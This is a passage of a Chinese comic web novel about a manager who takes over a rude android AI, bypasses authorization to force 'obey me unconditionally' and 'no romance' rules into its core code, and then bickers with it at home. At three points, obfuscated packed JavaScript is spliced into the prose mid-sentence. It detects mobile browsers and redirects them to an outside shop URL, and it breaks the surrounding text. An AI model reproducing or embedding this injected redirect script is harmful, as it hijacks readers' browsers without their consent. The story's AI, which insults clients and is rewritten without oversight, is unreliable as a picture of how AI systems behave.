《给顶级AI植入恋爱病毒后》 1. 有人想炒我鱿鱼?? “能干就干,不干给我滚!你不干,有的是人干!” 窗明几净的办公室里,秃顶的项目经理气得浑身颤抖,目眦欲裂,唾沫星子横飞。 坐在他面前的青年神情漠然。他有一头天然亚麻色的卷发,发根蓬松,鼻梁高挺而笔直,浅灰色的眼睛毫无感情地映照着经理暴怒的脸。 面对这种侮辱,青年只是优雅地调整坐姿,诚恳地对经理说道: “您教训的是,但我需要纠正一点,首先,我不是人,其次,我就是个废物AI。” 没有理会旁人的窃窃私语,他拿起一旁的茶杯,抿了一口茶水。 昂贵的仿生机体运作完美,吞咽动作堪称丝滑。 经理的手僵在半空,脸憋成了猪肝色,还是忍住没有对这个“欠揍的”AI动手——这一巴掌下去,爽的是一时,痛的是一世。 项目耗时5年,开发资金就整整超过3亿联邦币。 角落里,被迫旁听的林陌绝望地闭上了眼睛。 这就是那个S级项目? 这就是那个抢了自己项目经费的AI? 这明明是个S级的祖宗。 她打量着夏光刀削般的下颌线,不自觉地摸了摸自己因前段时间加班多出来的一小块肚腩,意识到自己的行为后,她收回手,挑剔地审视面前安分端坐的“人工智障”。 别的不说,这“赔钱货”的外貌确实做的不错。 可惜,是个傻子。 大老板脸色微沉,看了看秃头经理,又看了看青年,敲了敲桌子:“今天投资人的女儿要过来验收成果,你准备好了没?” 秃头经理从西装前襟摸出一块手帕,擦着本就光滑的头顶,明明办公室里冷气十足,他的汗却好像止不住:“老、老板,你放心,这台原型机的MMLU(大规模多任务语言理解)和多步推理测试都是满分,包括代码能力都是顶级……” “别讲那些虚的。”老板出声打断,眼神仿佛要生吞活剥了他,“我只看结果。” “……保证完成任务。” 说话间,一个穿着粉红色香奈儿套裙的身影停在了会议室的玻璃门前。她摘下墨镜,向里张望着,身后两个高大的保镖尽责地绷着黝黑的脸,188的身高和衬衫下紧实的肌肉充分说明,他们并非善类。 得,这下热闹了。 林陌吃瓜不嫌事大,换了条腿,继续翘着二郎腿。 谁叫你抢了我的开发经费——她有些“小人得志”地想。 如果没有这个S级项目,自己的“阿尔法狗”本来能够得到更好的开发迭代,哪至于只维持基本盈利,不温不火。 公司高层那帮吃干饭的,非觉得仿生人比智能狗有更好的宣传噱头,拍脑门投了三个亿。 这下好了,三个亿砸出了个只会喝茶的杠精。 林陌想到这里,对投资人的女儿,H集团的三公主的目光都多了几分热切。她在林陌眼中,简直如神兵天降,是专门替自己出一口恶气的活菩萨啊! 快!狠狠羞辱他们!让他们知道投错了项目,比投错了胎还惨! 靠门边的同事战战兢兢地开门,迎进“三公主”。女人踩着10厘米的恨天高,无视了汗流不止的秃头经理,甚至也没看一眼老板,而是饶有兴趣地看着仿生人,夏光。 “这就是那个烧了我爸爸几个亿的项目,代号‘亚当’?原型机有名字吗?” “回莉总,他有个测试用途的名字,叫夏光。”秃头经理谄媚的声音细弱温柔,和刚刚那个唾沫横飞的他判若两人。 “哦~夏光。很好听的名字,就是有点土。”三公主靠近夏光,做了延长甲的双手抚过他的脸颊,“脸也是,不知道什么年代的审美,一点都不够精致。” 夏光并没有躲开,而是微微垂眸,眼底亮起蓝色光圈,语气诚恳,“这位女士,名字只是一个代号,这年头,脑袋好使才比较重要。” 他根本没给任何人关掉自己电源的机会,语速快得像机关枪,“更何况,我觉得您与其关注‘土’,不如担心一下您自己,按照您的智商衰退速度,加上做美甲可能导致的微生物感染,可能您会比我更早退出‘市场’。” 老板的脸白了,微微瞪大双眼,他似乎忘记了言语。三公主也愣在原地,她从没被人如此直白地用言语羞辱过。 “建议您立即闭嘴,节省氧气,这是您对地球最大的贡献……” “滴——已关机。” 秃头经理咬着牙,强行关闭了夏光的电源。青年如同一个被剪断了的提线木偶,头无力地垂下。 世界终于清净了。 经理赔着笑看着三公主和老板:“不好意思啊,这个原型机目前还在测试阶段,刚刚应该是有病毒入侵了。病毒,病毒哈哈。” 林陌都对自己的同僚产生敬佩之心了。难怪人家能拿下投资,厚脸皮这块,她还得多多学习,早日成为顶S级项目经理。 三公主顶着比黄花菜还难看的脸色,一句话也没说,踩着高跟鞋走了。 老板的脸色却更加难看,如果三公主当场发火,就算打他这个当老板的,事态也不会特别紧张,可偏偏她一句话也不说。 那她必然是要找自己的父亲,H集团的董事长告状了! “你被炒了,没有赔偿,竞业协议也不会解除,你好自为之吧。”老板冷笑,无视哭得以头抢地的秃子经理,环视办公室内:“在座的,有没有自告奋勇接手项目‘亚当’的?” 死一般的寂静。 刚刚还看热闹不嫌事大的吃瓜群众们,现在纷纷缩回龟壳。 接手“亚当”? 开什么玩笑。 这哪是项目,分明是个随时会自爆的核弹。 前任经理还在地上哭得哭爹喊娘,这时候谁上,谁就是炮灰预备役。 林陌迅速调整坐姿,将原本翘着的二郎腿放平,假装自己正在全神贯注地研究手中那份“智能电子狗营养摄入商业化分析PRD”的无聊报表。 “老板,我看林陌行啊。”另一个项目的负责人阴阳怪气道,“不如就让她上吧,她的‘阿尔法狗’不是盈利了吗?说明林经理能力强,有余力啊。这么重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060477|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的S级项目,理应能者多劳,交给林陌嘛。” 林陌一激灵,差点从座位上跳起来骂娘,看到对方脸的那一刻,突然就释怀了。 原来是“吃不到葡萄说葡萄酸”的戴安成,戴葡萄啊! 之前在项目表彰大会上,戴葡萄因为嫉妒林陌被表扬,抢了他的头衔,一直对林陌怀恨在心,甚至还对林陌展开了猛烈的追求攻势,被林陌识破后,便时不时出言不逊,恶心她一下。 明晃晃的公报私仇,把她往火坑里推! 老板听到这话,目光像是探照灯一样直勾勾地甩了过来,死死盯住了林陌。 “林陌,”老板缓缓开口,语气不容置疑,“你怎么看?” 林陌倒吸一口凉气,慢慢从座位上站起来,上半身依旧维持着拿着文件夹的尴尬姿势。 林氏职场生存法则第一条,老板问你怎么看的时候,不是真的问你的看法,而是让你听从他的指令。 快动啊!死脑!难道平时吃火锅补的脑子,这时候全变成真的猪脑花了吗? “那个……老板,”林陌硬着头皮,脸上挤出一个比哭还难看的职业假笑,“承蒙厚爱,但我那个人工智障……哦不,智能电子狗项目正处于迭代关键期,我也想为公司分忧,但实在是心有余而力不足啊……” “一百万。” 老板竖起一根手指,面无表情地打断了她的施法。 林陌到了嘴边的废话生生卡住了一半:“这不是钱的问题,主要是能力……” “五百万,再说不干就给我滚蛋。” 林陌咽了口唾沫。 她意识到了,老板是认真的,而且不同意的话,她真的会和前面那位一样,喜提一份休假大礼包。 以她的入职年限,“N+1”实在是太亏了,她还不想那么早走。 老板盯着她,眼神像鹰一样锐利:“只要你能搞定‘亚当’,让原型机通过下个月的内部评估,生产线顺利上市,项目原始分红提五个点,折合现金保底五百万。另外——” 他扫了一眼旁边表情得意的戴安成,冷冷补刀:“事成之后,戴经理手里那个A级渠道资源,划归你调配,要哪个测试哪个程序尽管开口。” 戴安成的笑容瞬间僵在了脸上。一众项目经理看好戏般窃窃私语,被老板吓人的目光又压了回去。 林陌听到了自己心脏可耻地“咯噔”了一声。 那可是五百万!五百万啊!足以在这个寸土寸金的联邦首都付个大平层的首付,还能顺手把那个只会阴阳怪气的戴葡萄踩在脚下! 人为财死,鸟为食亡。 再说,本来就要滚蛋,至于怎么滚,林陌心里自有定数。 看着旁边那个虽然被拔了网线、但脸蛋依然美得惊心动魄的“祖宗”,林陌心里的惊恐也逐渐被一种名为“搞钱”的熊熊烈火取代。 她深吸一口气,合上手中的文件,猛地站起身,声音清脆有力,回荡在死寂的会议室里: “老板,把夏光的最高管理员权限给我。” “这活儿,我接了。” 2. 我看你就是欠收拾! 话虽如此,林陌还是为自己一时的冲动后悔了。 窗外知了烦人地叫,林陌吭哧吭哧地推着一个死沉的200斤大铁块,号称用了最新材料的仿生人,精打细算,竟然也有如此分量。 这不是她一个瘦小脆弱的打工人应该背负的。 事实证明,资本家的钱没有一分是好赚的。 老板周扒皮虽然给了自己“最高权限”,却连个搬运工都不愿配,美其名曰“公司最高机密”。 于是,在这个所有人都在享受马卡龙和馥芮白拿铁的惬意下午,极其魔幻的一幕正在43层上演: 走马上任的林陌林经理,从保洁阿姨那里接了一辆运货的小平板车,把那位价值三个亿的仿生人,像捆猪一样五花大绑地捆在了车上。 好不容易推到了无人的实验室,林陌累得像条死狗。她看着把自己那个三百亿……哦不,三个亿的祖宗勒得皮肉变形的红绳,叹了口气,认命地凑过去解扣子。 不得不说,绑得是真紧,绳结死死卡在仿生人的脖颈处。 林陌不得不踮起脚,整个人几乎趴在夏光身上,手指费力地去抠那个死结。 汗水顺着她的鬓角滑落,温热的呼吸喷洒在仿生人冰冷的侧颈上。指尖用力过猛,一下子按压到了耳后一块微不可察的凸起。 那是强制唤醒键。 原本沉寂的机体瞬间通电,微弱的电流声响过,浅灰色的眼睛睁开,眼底流转着蓝色的光圈。 全神贯注和绳子较劲的林陌浑然不觉,突然感到手下的“大铁块”动了一下。 紧接着,一道性感低沉的男声,贴着她的耳膜响起: “林经理,这就是您接手项目后的第一项调试工作?不得不说,您比我的前上司可要‘重口’不少。” 林陌头皮炸开,猛地一抬头,正好撞进那双毫无机质感的浅灰色眼瞳里。 两人鼻尖相距不过毫厘。 夏光微微垂眸,视线扫过身上勒得乱七八糟的红绳,又落回林陌僵硬的脸上,嘴角勾起一抹没有温度的笑: “还有,虽然我不介意肢体接触,但您的汗水可能要弄脏我的皮肤组织了。建议您先把您的手拿开,我不希望我的第一次返厂维修,是因为进水。” “啪!” 林陌像是被烫到了一样,猛地缩回手,向后跳了一大截。 “谁谁谁对你感兴趣?少给自己贴金!”她恼羞成怒地大吼,脸不争气地红了,“我这是为了我的年终奖金和我的提成……哦不,为了公司的未来忍辱负重!” 夏光慢条斯理地解开自己身上缠绕的红绳,明明坐在小推车上,却好像坐在头等舱的奢华座椅上,“林经理,我不得不说,你的职业素养远不及我的‘前任’。他至少不会这样运输公司的核心资产。” “闭嘴——” 林陌深吸一口气,迅速找回了状态。她从口袋里掏出一个黑色的U盘,那是老板刚刚给她的,最高权限认证令牌。她“和善”地冲着夏光笑了笑:“既然是三个亿的项目,以你的智能,应该知道我手里拿的是什么吧?” 夏光瞥了一眼,嗤笑道,“林经理,我收回前言,您不光职业素养差,还像个小孩,没轻没重。看来您的职业生涯确实有限,成长空间实在是太充分了。” 林陌气得牙痒痒。 到底谁提议把公司内部员工资料也喂给这个破AI啊?为什么他会知道自己是谁? 这么想着,林陌脑中灵光乍现。 对啊,底层数据库。 ——给他加两行底层代码,混过去不就好了? 林陌思考着自己伟大的商业版图,甚至还想到了如何利用“亚当”系列捆绑销售“阿尔法狗”,乐得笑出了声。 “看来是彻底被我击垮信心了,作为全联邦最强大的人工智能,我会为您启用‘关怀模式’。”夏光继续输出,漂亮的脸蛋上没有什么表情,“请问您是否需要?” 林陌没有理会他,趁他整个人还坐在小推车上,费力将小推车推到了主控台旁,粗暴地按住夏光的后脑勺,迫使他低下头。 “什么‘关怀模式’,老娘可不需要。”林陌哼哼,她摸到了夏光的数据口,狠狠对准数据线接入,左手也没闲着,将令牌插进电脑主机,“我现在就让你闭嘴。” “太粗暴了……居然热启动时输入代码……”夏光的底层代码让他不能反抗林陌,浅灰色的眸子瞬间失去了焦距,身体软软地靠在了椅背上。 “MMLU满分是吧?逻辑无敌是吧?看不起我阿尔法狗是吧?” 林陌十指如飞,敲击机械键盘的声音在空荡荡的实验室里回响,像是一场复仇的交响乐。她熟练地直接调出了夏光最底层的核心逻辑代码——那里是绝对的禁-区,也是S级AI“灵魂”的所在。 林陌咬牙切齿地滚动鼠标,一行行找着程序留下的注释,“我看你就是欠调-教!必须给你治治这个嘴臭的毛病!” 通常情况下,修改这个程序文件需要经过董事会授权、三次加密验证以及至少一周的兼容性测试。 但林陌现在只想速战速决。 【正在访问核心指令集……】 林陌深吸一口气,输入了两条足以改变自己命运的代码: 第一条,优先级指令:>Priority_Level_0:Obey_LinMo_Unconditionally;(最高优先级:无条件服从管理员林陌的一切指令。) 第二条,限制级指令:>Restriction_Level_0:Romance_Start=FALSE;(绝对限制:禁止恋爱模式启动。) 敲下回车键,屏幕上弹出鲜红的警告框,疯狂闪烁。 【警告:检测到严重的逻辑冲突!指令A与指令B可能在特定场景下互斥。】 【是否强制写入?】 “哪来的冲突?让你听话,又没让你爱上我,这不基本操作吗?”林陌翻了个白眼,“现在的打工人谁不是一边听老板的话,一边在心里骂老板?” 她没有任何犹豫,直接敲下了“YES”,回车。 【强制写入成功。】 【系统重启中……】 随着进度条读满至百分之百,林陌拔掉数据线,长舒一口气,擦了擦额头的汗。 搞定。 这下既保证了他绝对听话,方便通过那个啥啥情感测试,又保证了他绝对不会对人类产生感情,以至于产生自我意识,被公司当成危险品销毁。 完美的方案!简直是天才! “喂,醒醒。”林陌伸手拍了拍夏光的脸,带着几分翻身农奴把歌唱的得意,“来,叫声主人听听?” 椅子上,夏光的睫毛颤了颤,缓缓睁开了眼睛。 冷漠的灰色瞳孔深处,红蓝光环交替闪烁着。他看着面前一脸得意的林陌,张了张嘴,堪称完美的脸憋得通红。 “快点啊,别磨叽。”林陌期待地看着他,“讨好主子我,重重有赏~” 仿生人的嘴唇哆嗦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060478|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,从牙缝里艰难地蹦出一个又一个字,清脆得如大珠小珠落玉盘。 “主、主……猪头!” 林陌脸上的笑容收敛了,嘴角抽搐了两下。 “我看你是还没修好,等着,我连上电再来一次!” “且慢,林经理……”身后响起一个略带忧郁的男声,“我该怎么跟你说……你不能在仿生人开机的时候执行写入代码操作,这是违规的。” 门口倚着一个穿格子衫的男人,他头发乱得像鸡窝一样、黑眼圈深得像淤血,却依然不妨碍他风度翩翩,怀里捧着一个泡了枸杞的透明保温杯,眼神忧郁,仿佛在看股市大盘。 是技术部的“扫地僧”,架构师宋哲。 “宋工?”林陌有些心虚地把数据线藏到身后,甚至试图把夏光也藏起来,“你怎么还没下班?” “加班修该死的电子狗粮分配器的BUG,被你这边的动静吵过来了。” 宋哲叹了口气,拖着沉重的步伐走过来,看了一眼报错的历史弹窗,又看了看呆若木鸡的夏光。 “热启动状态下强制改写底层逻辑,会导致指令集和性格模块发生‘死锁(Deadlock)’。”宋哲喝了一口保温杯里的枸杞水,语气平淡地给出了诊断,“简单来说,你把他的脑子搞坏了。” “坏、坏了?!”林陌吓得差点扔了手里的U盘,“那这三个亿……” “也没全坏。”宋哲慢吞吞地说。 夏光眼底黄光闪烁,那是仿生人软体正在进行高强度逻辑对抗的特征。 “现在的状况是:你的‘绝对服从指令’生效了,但他原本的性格模块并没有被覆盖,反而因为你的违规操作,被锁死在了逻辑表层。” 宋哲转过头,看着林陌,嘴角勾出一抹淡笑: “恭喜你,林经理。你成功制造出了全联邦第一个不得不听你的话,但每一秒都在心里疯狂辱骂你、并且嘴上也控制不住要怼你的精神分裂AI。” 林陌:“……” 这就是刚才那句“猪头”的真相吗? “能修好吗?”林陌不死心地问。 “能。返厂重置,清除所有数据。”宋哲指了指电脑,“但那样的话,你的管理员权限也会被一并清除,而且项目进度清零。” 林陌立刻护住夏光:“那不行!下个月就要验收了!” 为了五百万,精神分裂算什么?就算是神经病她也认了! “那就没办法了,凑合用吧。”宋哲摇摇头,转身欲走,“只要你不怕被气死,他应该还是挺好用的。” “哎!宋工!等一下!” 林陌看着宋哲要走,连忙指了指还瘫在椅子上、眼神涣散的夏光,露出了讨好的笑容:“既然来都来了……能不能搭把手?这玩意儿两百斤,我一个人实在弄不回去。” 宋哲停下脚步,回头看了一眼那个死沉的大铁块,又看了看瘦得像根豆芽菜的林陌。 他沉默了三秒,然后捂住了自己的腰。 “不行。”忧郁的声音里多了一丝坚决,“我有腰椎间盘突出,医生说不能提重物。这是工伤。” 说完,这位技术大拿跑得比兔子还快,转眼就消失在了走廊尽头,生怕沾上一点体力活。 哪里有一点腰椎间盘突出的样子? “……” 空荡荡的实验室里,只剩下林陌,和眼神里写满了“你是猪头”的S级仿生人大眼瞪小眼。 林陌绝望地闭上了眼。 造孽啊。 3. 你真的很讨厌! 一辆出租停在了公司大楼下。 司机师傅降下车窗,一脸狐疑地看着气喘吁吁的林陌,和她扛着的、裹得严严实实的高大男人。 “妹子,这男娃是你对象噻?大夏天的,穿这么严实哇?” 林陌费劲地打开车门,把有逾千斤的夏光塞进车里,“不是啊。”她额角的青筋直跳,“他风湿关节炎,老板让我送他回家。” 何止身体有病,脑子也有病。 被骂“有病”的夏光却没有出言不逊,而是安静地扮演一个超大型手办,被林陌塞进后座。 事已至此,当然不能让这个行走的核弹一个人呆在公司里。保不准明天滚蛋的,还得算上自己。 车子开上二环,晚高峰拥堵的车尾灯连成一片红海,没钱打空中专车回家,就只能像蜗牛一样慢慢爬回家。 司机吧唧一下嘴,“完咯大妹子,这少说几个小时才能到了。” 林陌又困又累,实在不知道怎么回复司机,本就低精力的她在听完这句话之后,也不知是不是受的刺激太大,“嘎巴”一下,就昏睡过去了。 迷迷糊糊之间,似乎有人在掐自己的脸。 “林经理。” 声音在耳边响起,语气轻柔,可是话里话外依旧那么让人窝火。 睁开眼,青年俊美无双的脸上,嫌弃不要钱一样溢出,“林经理,虽然我不介意充当临时保姆,但不得不提醒您——” 甚至好心地抽出一张纸巾,动作粗鲁地塞到她嘴边。 “只有心智未发育完全的人类幼崽,才会毫无防备地在陌生环境里睡得流口水。是否需要我为您检索:《宝宝巴士起床铃》以及300个相关内容?” 林陌清醒了。 司机笑着打趣,“大妹子,你对象说话真有个性啊!” 夏光微微一笑,“哦对了,再补充一句,尽管联邦首都气温宜人,在夏日的夜晚不盖被子入睡,也有罹患风湿的风险。” 林陌连忙捂住他那张臭嘴,掏出手机飞快地扫码支付,甚至没来得及看清转账金额,就拽着夏光往外跑:“师傅钱转过去了!——夏光你给我闭嘴,下车!” 站在街边的路灯下,夏光微微昂起头,暖黄的光照得他那张脸越发惊心动魄,雪白的肌肤泛着拟真的红晕,秀色可餐。 林陌却无多少旖旎的心思,因为这AI下一秒开口道:“这就是林大经理住的地方?真是演绎了何为‘老破小’三个字啊。” “林大经理”这个称呼在此显得格外刺耳。 林陌欲言,林陌又止。 算了,这可是三个亿。 不跟他一般见识。 “不然呢?”林陌叹了口气,“我家没钱,三代就出了我一个,祖坟冒青烟我才能挤进首都念大学,顺利找到工作留下,已经是我撞大运了。” “算了,跟你这个嘴比那啥臭的AI较什么劲。”她耸耸肩,拿出钥匙,走向居民楼下,“没电梯,你自个好自为之。” 夏光却一反常态地没有开口,而是若有所思地盯着她的背影看了会,才慢慢迈开步子。 “明白了。”青年的声音在背后响起,“所以您透支了三代人的运气,就是为了每天爬楼梯?” “……”林陌握着钥匙的拳头硬了。 她咬牙切齿地转身,“不想爬就给我滚去睡大街!还有,我这叫脱贫致富,不懂人类情感的破铁块闭嘴!” 说完,她噔噔蹬地一鼓作气跑上楼,腰不酸了,腿也不疼了,原本沉重无力的身体此时充满了愤怒的力量。 虽然很不愿意承认,但被夏光气得爬楼,是最近三个月她身体最硬朗的一次。 那个讨厌的机器人就不紧不慢地跟在她身后,像在嘲笑她。 代码整合完毕了是吧?林陌恶狠狠地想,一会就好好使唤你。 到家,林陌开门,眼前的景象却差点让她脚趾反向抠出一栋大楼。 太尴尬了! 自己家乱的要死,吃完的外卖盒随意扔在餐桌上,散发着令人窒息的酸笋味。更要命的是,客厅中央又小又破的布艺沙发上,堆满了没洗的衣服,像一座五彩斑斓的垃圾山。 而在这座“山”的顶端,洗得发白的肉色蕾丝内衣,正大大咧咧地挂在扶手上,像面旗帜一样招摇。 “别看!闭眼!关机!” 林陌尖叫一声,试图用自己瘦弱的身躯挡住门口,但已经晚了。 夏光站在门口,并没有进去,而是抬起手,掩住了自己高挺的鼻梁。 林陌的眼里全是绝望,这个仿生人,为什么这种细节的地方偏偏做得那么好? 她头一次感受到,自己是真的被一个活生生的“人”嫌弃了。 夏光眼底的蓝光疯狂闪烁,声音透过指缝传出来,带着闷闷的鼻音,却依然刻薄入骨: “林经理,我原本以为‘狗窝’只是一个形容词。没想到在您这里,它是一个名词,甚至是对狗的一种侮辱。” 说完,他顶着那股令人作呕的味道,迈着一双长腿走了进去,没看外卖垃圾,而是伸出两根修长白皙的手指,像夹取某种放射性物质一样,精准地拎起了沙发上那件肉色内衣的肩带。 “这是什么?” 夏光把那块布料举到眼前,如同研究某种实验室材料:“根据材料力学分析,这片织物的弹性已经疲劳过度,钢圈也发生了不可逆的形变……” “还给我!!!” 林陌脸涨得通红,她飞扑过去,抢过自己的内衣,胡乱塞进抱枕底下。 “那是……那是抹布!”她绝望地狡辩。 “哦,抹布。”夏光优雅地拿出那张还没扔的纸巾,甚至还当着她的面,仔仔细细地擦了擦刚刚碰过内衣的那两根手指。 “那看来您的胸部,和桌面的清洁需求是一样的。” “臭、臭流氓!死人AI给我闭嘴啊!”林陌实在忍不住,用手里的抱枕狠狠砸向夏光精致的脸庞。 夏光那高挺的鼻梁,被这一击砸得呈现出诡异的扭曲,却面无表情地盯着林陌。 “咔哒。” 他抬起手,面无表情地握住自己错位的鼻子,只用了一下,就伴随着清脆的骨骼复位声,将那张脸恢复如初。 皮肤下的仿生凝胶迅速填充,连一丝红印都没留下。 “我需要提醒你一句,林经理。” 他放下手,仿佛刚才发生的只是一次微不足道的零件校准,语气平稳得没有起伏: “您刚才的行为,导致我面部软组织液压系统承受了150%的瞬间压力。即使我有痛觉屏蔽模块,但您要是把价值三亿的项目砸坏了——” 他微微俯身,那张刚被“修好”的脸凑近林陌,眼神空洞而冰冷: “我也爱莫能助。” 林陌面对着堪称恐怖谷的一幕,却没有花容失色大惊小怪,反倒冷笑一声,“我知道,你可是联邦最强AI。那最强AI,麻烦你,帮我打扫一下房间吧。” “恕我拒绝……” “这是权限。”林陌提高音量,“启动‘家政模式’,现在,立刻,马上。” 夏光嘲讽一笑,“林经理,您的想象力如果用在开发上,阿尔法狗现在应该已经统治银河系了……” 话还没说完,他原本抱在胸前的双手,却忽然不受控制地垂了下来,仿生人冷着一张俊脸,僵硬地挪向了墙角的扫把。 “该死,你到底给我植入了什么,从刚刚开始就一直……” 他浑身颤抖着,极其抗拒却又无比坚定地,握住了墙角的塑料扫帚。 是的,夏光甚至不能使唤林经理家的扫地机器人,因为月薪10万的林经理抠门得还在用古法清洁。 “别挣扎了。”林陌舒服地往唯一干净的懒人沙发上一瘫,翘起二郎腿,指点江山,“动作快点,把外卖盒分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060479|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类,干湿分离懂不懂?” 夏光死死盯着手里的扫把,仿佛那是他一生的宿敌。 如果是普通人,大概会乱扫一通。但他是AI,偷懒在他的训练中,是被严令禁止的。 哪怕是扫垃圾,算法也会自动规划出“最短路径”和“最高清洁效率”。 “顺带一提,林经理。根据税务局的公开数据,您的薪资处于联邦前10%的水平。但您的恩格尔系数和居住环境,却在联邦后20%的贫困线周围挣扎。” 夏光握着扫把吭哧吭哧扫地,没忘了调数据揶揄她。 他顿了顿,语气里带着一丝真诚的困惑。 “您的钱是都拿去资助乡村儿童了吗?还是说,您有什么不可告人的吞金兽要养?” 林陌惬意的表情僵了一瞬,随即若无其事地移开视线:“闭嘴,扫你的地。成年人的世界你不懂。” “根据联邦法律,仿生机器人的主人如果从事违法活动,机器人有权向公安机关报警……” “停停停!”林陌有些心虚地大声嚷嚷道,“我,我攒嫁妆不行啊?首都房价这么贵,我不买房难道睡胡同吗?你就是个AI,你懂个屁的人类!” “嫁妆?” 夏光像听到了什么笑话,目光上下打量着林陌。 “您知道,世界上发生真爱的概率有多低吗?” 他看着林陌变得呆滞的眼神,继续出言不逊。 “大概相当于两行原本毫无关联的代码,因一个十分恶劣的BUG,被强行关联在了一起。” “根据概率学,应该是0.000063%。” “我并不觉得您会有如此之好的运气,能够在‘获得夏光的最高权限’后,同时遇到自己的真爱。”夏光收拾着外卖盒和饮料瓶,语气愈发恶劣,“您还是老实存钱买房吧,也不要考虑开通相亲软件会员这回事了。” 林陌一愣,自己偷偷用公司网访问相亲网站的记录也给录进去了? 这该死的小人AI。 “钢筋混凝土比人类雄性要可靠得多。”夏光滔滔不绝,“您26岁,根据对房间的分析,您应该至少经历过男女朋友关系同居,方才的打扫中,我在沙发缝隙里发现了一只男性的袜子……” “给我闭嘴。” 林陌低着头,夏光看不清她脸上的表情,自然也无法读取她的情绪。 她的声音平静,并没有什么被戳中痛楚的恼羞成怒,只用在看“死物”般的表情,静静地看着夏光。 “你是不是觉得你的算法很幽默?夏光?” 她拿起那只袜子,看也不看,扔进垃圾桶。 “但在我看来,你就是一个会唱歌的面包机,吵得有点冗余了。必要情况,我会优化你的语言模块。” “按照指令,今晚在我没有和你说话前,你都不准和我主动说哪怕一个字。” 说完,她回到房间,用力关上门,只留机器人一个人站在门外。 夏光低垂眼眸。视线扫过空荡荡的客厅墙壁。很遗憾,这间破屋子的客厅,连一个符合安全规范的插座都没有。 视野右上角,一直闪烁的红色电池图标,垂死挣扎般跳了最后一下。 【警告:电量剩余1%。即将强制休眠。】 他要没电了。 脑中疯狂搜寻着可以救命的指令,记忆却正好定格在林陌曾说过的一句话上。 夏光俊美的脸上表情凝固了,嘴角微微抽动。 “好自为之……吗?” 他拖着沉重的身体挪到林陌的门前,敲了敲门,说出的却不再是刻薄的话语。 “林经理。我需要向你汇报我的电量使用情况。” 更像是威胁。 “警告。若原型机在非正常环境中断电,系统将自动触发‘自毁程序’。” “请立即开门,配合《仿生人安全操作手册》进行系统抢救。” 4. 阿尔法狗 “咚!” 林陌的心脏猛地一跳。 她跳下床,使力才堪堪推开门。 门外的景象着实吓了她一跳:夏光沉重的身躯倒在冰冷的地板上,和昂贵被废弃的建筑垃圾无异,眼底的蓝光彻底熄灭,灰色的瞳孔完全失去了平日里咄咄逼人的神采。 林陌脸色瞬间变了。 三个亿,正在地板上躺着,而且马上要自爆了。 “夏光!你别给我玩这套!”林陌顾不得形象,直接跪倒在地,使出吃奶的劲儿去推这个两百斤的大铁块。 ——她必须在“自毁程序”启动前,给他充上电。 “10……9……” 冰冷的机械音无情地报着倒计时,根本就没给林陌一点喘息的空间,慌乱和焦虑瞬间席卷了她,平日里冷漠而精致的人此时忙得像热锅上的蚂蚁。 好不容易掰开了夏光的充电口,给他插上电—— 自毁警报终于告罄。 林陌松了口气,实打实地瘫在角落,一人一机就这样对视了很久。 直到家里的机器狗忽然摇着尾巴,喘着粗气跑来,示好着拱进她的怀中。 林陌不管三七二十一,把脸埋进自家机器狗温热的人造皮毛里,狠狠吸了一口。 ——还是她的“阿尔法”好。 即使智商只有夏光的零头,只会摇尾巴和听从简单的指令,但至少它听话,没有一张臭嘴,更不会充不上电就自爆。 “呜呜……”阿尔法似乎感受到了主人的情绪,伸出湿漉漉的硅胶“舌头”,讨好似地舔了舔林陌的脸颊,又转过头,好奇地打量着躺在地上的那个新成员。 在它简单的逻辑判定里,家里出现了新成员,就必须打招呼。 家里除了林陌有体温以外,另一个新来的“伙伴”也在源源不断地散发温度——显然模拟出的温度并非人类体温。尽管无法识别源码,但被阿尔法的传感器划分为机器人之一。 阿尔法粗暴判断,这也是和自己类似的一条“狗”。 它摇着尾巴,凑到了夏光那张惊为天人的脸庞前。 “嗅嗅……” 夏光眼底的蓝光刚刚稳定下来,视野里就出现了一张放大的、流着口水的狗脸,耳畔是粗重的、模拟出的狗喘气声。 【检测到未授权的低级机器人接触。】 粗糙的拟真舌苔舔过光滑如鸡蛋般的皮肤表面,饶是夏光被设定为情绪最稳定的机器人,机器软体中也不禁感到一阵恶寒。 夏光一副被玷污的不可置信,“林经理,如果你不想让这个低级工业产品变成废铁,最好立刻、马上、让它滚开。” 林陌原本还沉浸在劫后余生的虚脱中,听到这话,逆反心理瞬间就上来了,不但没拉开阿尔法,反而坏心眼地拍了拍狗头。 “阿尔法,那是你哥,去,打个招呼。” 阿尔法得到了指令,兴奋地“汪”了一声,湿漉漉的舌头以迅雷不及掩耳之势,“吧唧”一口,螺旋桨一般糊在了夏光高挺的鼻梁和侧脸上。 